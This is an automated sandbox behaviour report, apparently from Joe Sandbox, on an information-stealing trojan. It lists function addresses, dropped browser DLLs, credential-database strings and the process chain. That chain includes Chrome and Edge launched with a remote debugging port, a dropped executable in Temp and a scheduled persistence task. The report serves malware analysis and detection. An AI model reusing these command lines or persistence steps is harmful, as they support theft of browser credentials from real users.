Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB8C0 rand_s,NtQueryVirtualMemory,	0_2_6C9BB8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C9BB910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C95F280

Source: C:\Users\user\Documents\HIDHIEGIII.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9535A0	0_2_6C9535A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C966C80	0_2_6C966C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B34A0	0_2_6C9B34A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BC4A0	0_2_6C9BC4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D4D0	0_2_6C97D4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9664C0	0_2_6C9664C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C996CF0	0_2_6C996CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95D4E0	0_2_6C95D4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995C10	0_2_6C995C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2C10	0_2_6C9A2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CAC00	0_2_6C9CAC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C542B	0_2_6C9C542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C545C	0_2_6C9C545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C965440	0_2_6C965440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C990DD0	0_2_6C990DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B85F0	0_2_6C9B85F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97ED10	0_2_6C97ED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C980512	0_2_6C980512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96FD00	0_2_6C96FD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C975E90	0_2_6C975E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9BE680	0_2_6C9BE680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B4EA0	0_2_6C9B4EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95BEF0	0_2_6C95BEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96FEF0	0_2_6C96FEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C76E3	0_2_6C9C76E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C997E10	0_2_6C997E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A5600	0_2_6C9A5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B9E30	0_2_6C9B9E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C979E50	0_2_6C979E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C993E50	0_2_6C993E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A2E4E	0_2_6C9A2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C974640	0_2_6C974640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C670	0_2_6C95C670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C6E63	0_2_6C9C6E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A77A0	0_2_6C9A77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C986FF0	0_2_6C986FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95DFE0	0_2_6C95DFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C997710	0_2_6C997710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C969F00	0_2_6C969F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9860A0	0_2_6C9860A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C50C7	0_2_6C9C50C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97C0E0	0_2_6C97C0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9958E0	0_2_6C9958E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C967810	0_2_6C967810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99B820	0_2_6C99B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9A4820	0_2_6C9A4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C978850	0_2_6C978850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97D850	0_2_6C97D850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99F070	0_2_6C99F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C995190	0_2_6C995190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9B2990	0_2_6C9B2990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C98D9B0	0_2_6C98D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95C9A0	0_2_6C95C9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C97A940	0_2_6C97A940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9AB970	0_2_6C9AB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CB170	0_2_6C9CB170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96D960	0_2_6C96D960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9CBA90	0_2_6C9CBA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96CAB0	0_2_6C96CAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C2AB0	0_2_6C9C2AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9522A0	0_2_6C9522A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C984AA0	0_2_6C984AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C998AC0	0_2_6C998AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C971AF0	0_2_6C971AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99E2F0	0_2_6C99E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C999A60	0_2_6C999A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C95F380	0_2_6C95F380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9C53C8	0_2_6C9C53C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C99D320	0_2_6C99D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C955340	0_2_6C955340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C96C370	0_2_6C96C370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9FECC0	0_2_6C9FECC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5ECD0	0_2_6CA5ECD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADAC30	0_2_6CADAC30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC6C00	0_2_6CAC6C00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0AC60	0_2_6CA0AC60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA04DB0	0_2_6CA04DB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA96D90	0_2_6CA96D90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB8CDC0	0_2_6CB8CDC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB88D20	0_2_6CB88D20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACED70	0_2_6CACED70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2AD50	0_2_6CB2AD50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA86E90	0_2_6CA86E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0AEC0	0_2_6CA0AEC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA0EC0	0_2_6CAA0EC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE0E20	0_2_6CAE0E20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9EE70	0_2_6CA9EE70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB48FB0	0_2_6CB48FB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA0EFB0	0_2_6CA0EFB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA00FE0	0_2_6CA00FE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADEFF0	0_2_6CADEFF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB40F20	0_2_6CB40F20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA06F10	0_2_6CA06F10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC2F70	0_2_6CAC2F70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6EF40	0_2_6CA6EF40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB068E0	0_2_6CB068E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA50820	0_2_6CA50820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8A820	0_2_6CA8A820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD4840	0_2_6CAD4840
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA909A0	0_2_6CA909A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CABA9A0	0_2_6CABA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC09B0	0_2_6CAC09B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB1C9E0	0_2_6CB1C9E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA349F0	0_2_6CA349F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA56900	0_2_6CA56900
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA38960	0_2_6CA38960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7EA80	0_2_6CA7EA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAB8A30	0_2_6CAB8A30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAAEA00	0_2_6CAAEA00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA7CA70	0_2_6CA7CA70
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA0BA0	0_2_6CAA0BA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB06BE0	0_2_6CB06BE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB2A480	0_2_6CB2A480
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA464D0	0_2_6CA464D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9A4D0	0_2_6CA9A4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA64420	0_2_6CA64420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8A430	0_2_6CA8A430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA18460	0_2_6CA18460
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F45B0	0_2_6C9F45B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACA5E0	0_2_6CACA5E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA8E5F0	0_2_6CA8E5F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA62560	0_2_6CA62560
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAA0570	0_2_6CAA0570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB48550	0_2_6CB48550
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA58540	0_2_6CA58540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB04540	0_2_6CB04540
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5E6E0	0_2_6CA5E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA9E6E0	0_2_6CA9E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA246D0	0_2_6CA246D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA5C650	0_2_6CA5C650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA2A7D0	0_2_6CA2A7D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA80700	0_2_6CA80700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C9F8090	0_2_6C9F8090
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA100B0	0_2_6CA100B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CADC0B0	0_2_6CADC0B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACC000	0_2_6CACC000
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAC8010	0_2_6CAC8010
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA4E070	0_2_6CA4E070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA001E0	0_2_6CA001E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA76130	0_2_6CA76130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAE4130	0_2_6CAE4130
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA68140	0_2_6CA68140
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CAD22A0	0_2_6CAD22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CACE2B0	0_2_6CACE2B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CB862C0	0_2_6CB862C0
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Code function: 14_2_007C8860	14_2_007C8860
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Code function: 14_2_007C7049	14_2_007C7049
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Code function: 14_2_007C78BB	14_2_007C78BB
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Code function: 14_2_007C31A8	14_2_007C31A8
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Code function: 14_2_00784B30	14_2_00784B30
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Code function: 14_2_007C2D10	14_2_007C2D10
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Code function: 14_2_00784DE0	14_2_00784DE0
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Code function: 14_2_007B7F36	14_2_007B7F36
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Code function: 14_2_007C779B	14_2_007C779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_008178BB	15_2_008178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00817049	15_2_00817049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00818860	15_2_00818860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_008131A8	15_2_008131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007D4B30	15_2_007D4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00812D10	15_2_00812D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_007D4DE0	15_2_007D4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_0081779B	15_2_0081779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_00807F36	15_2_00807F36
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_008178BB	16_2_008178BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00817049	16_2_00817049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00818860	16_2_00818860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_008131A8	16_2_008131A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_007D4B30	16_2_007D4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00812D10	16_2_00812D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_007D4DE0	16_2_007D4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_0081779B	16_2_0081779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00807F36	16_2_00807F36

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007E80C0 appears 260 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 007EDF80 appears 36 times
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Code function: String function: 007980C0 appears 130 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA29B10 appears 42 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB8D930 appears 37 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB8DAE0 appears 46 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C9994D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C98CBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CB809D0 appears 196 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CA23620 appears 51 times

Source: file.exe, 00000000.00000002.2714609889.000000006CBD5000.00000002.00000001.01000000.00000009.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.2713468508.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: nxidxxjs ZLIB complexity 0.9946601550652108

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@37/51@6/8

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C9B7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C9B7030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\ZHB6GIWL.htm

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5200:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d

Source: C:\Users\user\Documents\HIDHIEGIII.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.2702371559.0000000005C8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2711693820.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.2702371559.0000000005C8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2711693820.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.2702371559.0000000005C8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2711693820.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.2702371559.0000000005C8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2711693820.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, file.exe, 00000000.00000002.2702371559.0000000005C8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2711693820.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.2702371559.0000000005C8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2711693820.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.2702371559.0000000005C8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2711693820.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2714282625.000000006CB8F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.2452160203.0000000005B90000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2316918446.0000000005B75000.00000004.00000020.00020000.00000000.sdmp, IDGIJEGHDAECAKECAFCA.0.dr, HJEHIJEBKEBFBFHIIDHI.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.2702371559.0000000005C8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2711693820.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.2702371559.0000000005C8F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2711693820.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 44%

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2040 --field-trial-handle=2172,i,9379353750806782494,3710681808778928881,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2268,i,18147046930143251905,629712067082401529,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2324 --field-trial-handle=2200,i,4519856815945680510,4741741539002150674,262144 /prefetch:3
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\HIDHIEGIII.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\HIDHIEGIII.exe "C:\Users\user\Documents\HIDHIEGIII.exe"
Source: C:\Users\user\Documents\HIDHIEGIII.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
